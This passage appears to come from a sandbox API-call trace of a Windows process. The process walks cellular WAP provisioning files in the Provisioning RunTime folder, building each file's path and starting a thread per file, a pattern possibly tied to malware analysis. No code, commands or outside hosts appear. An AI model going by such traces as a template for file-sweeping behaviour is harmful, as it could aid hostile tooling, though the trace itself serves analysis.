Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.711] wcscat (in: _Dest=0x34759b0, _Source="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" [0088.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34759b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0088.712] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="222__C~1.PRO")) returned 1 [0088.712] wcscmp (_String1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.712] wcscmp (_String1="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.712] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3428f38 [0088.713] wcscpy (in: _Dest=0x3428f38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.713] wcscat (in: _Dest=0x3428f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.713] wcscat (in: _Dest=0x3428f38, _Source="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" [0088.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c [0088.713] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="223__C~1.PRO")) returned 1 [0088.714] wcscmp (_String1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.714] wcscmp (_String1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3427fd8 [0088.714] wcscpy (in: _Dest=0x3427fd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.714] wcscat (in: _Dest=0x3427fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.714] wcscat (in: _Dest=0x3427fd8, _Source="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" [0088.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0088.714] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="224__C~1.PRO")) returned 1 [0088.834] wcscmp (_String1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.834] wcscmp (_String1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.835] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3428ca8 [0088.835] wcscpy (in: _Dest=0x3428ca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.835] wcscat (in: _Dest=0x3428ca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.835] wcscat (in: _Dest=0x3428ca8, _Source="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" [0088.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0088.836] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", cAlternateFileName="225__C~1.PRO")) returned 1 [0088.836] wcscmp (_String1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.836] wcscmp (_String1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.836] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3428df0 [0088.836] wcscpy (in: _Dest=0x3428df0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.836] wcscat (in: _Dest=0x3428df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.836] wcscat (in: _Dest=0x3428df0, _Source="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" [0088.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0088.837] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x0, dwReserved1=0x0, cFileName="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="226__C~1.PRO")) returned 1 [0088.837] wcscmp (_String1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.837] wcscmp (_String1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3428b60 [0088.837] wcscpy (in: _Dest=0x3428b60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.837] wcscat (in: _Dest=0x3428b60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.837] wcscat (in: _Dest=0x3428b60, _Source="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" [0088.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0088.838] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="227__C~1.PRO")) returned 1 [0088.838] wcscmp (_String1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.838] wcscmp (_String1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.838] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3428a18 [0088.838] wcscpy (in: _Dest=0x3428a18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.838] wcscat (in: _Dest=0x3428a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.838] wcscat (in: _Dest=0x3428a18, _Source="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" [0088.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3428a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0088.839] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="228__C~1.PRO")) returned 1 [0088.839] wcscmp (_String1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.839] wcscmp (_String1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x34288d0 [0088.839] wcscpy (in: _Dest=0x34288d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.839] wcscat (in: _Dest=0x34288d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.839] wcscat (in: _Dest=0x34288d0, _Source="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" [0088.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34288d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0088.840] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="229__C~1.PRO")) returned 1 [0088.840] wcscmp (_String1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.840] wcscmp (_String1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13c) returned 0x3429458 [0088.840] wcscpy (in: _Dest=0x3429458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.840] wcscat (in: _Dest=0x3429458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.840] wcscat (in: _Dest=0x3429458, _Source="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" [0088.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0088.840] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="22__CO~1.PRO")) returned 1 [0088.840] wcscmp (_String1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.840] wcscmp (_String1="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x348c270 [0088.840] wcscpy (in: _Dest=0x348c270, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.841] wcscat (in: _Dest=0x348c270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.841] wcscat (in: _Dest=0x348c270, _Source="22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" [0088.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0088.841] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="230__C~1.PRO")) returned 1 [0088.841] wcscmp (_String1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.841] wcscmp (_String1="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.841] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x348c928 [0088.841] wcscpy (in: _Dest=0x348c928, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.841] wcscat (in: _Dest=0x348c928, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.841] wcscat (in: _Dest=0x348c928, _Source="230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\230__Connections_Cellular_Safaricom (Kenya)_i0$(__MVID)@WAP.provxml" [0088.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348c928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0088.842] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9088a4b2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9088a4b2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9088a4b2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="231__C~1.PRO")) returned 1 [0088.842] wcscmp (_String1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.842] wcscmp (_String1="231__Connections_Cellular_KTF HSDPA Internet (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x55dad30 [0088.842] wcscpy (in: _Dest=0x55dad30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All 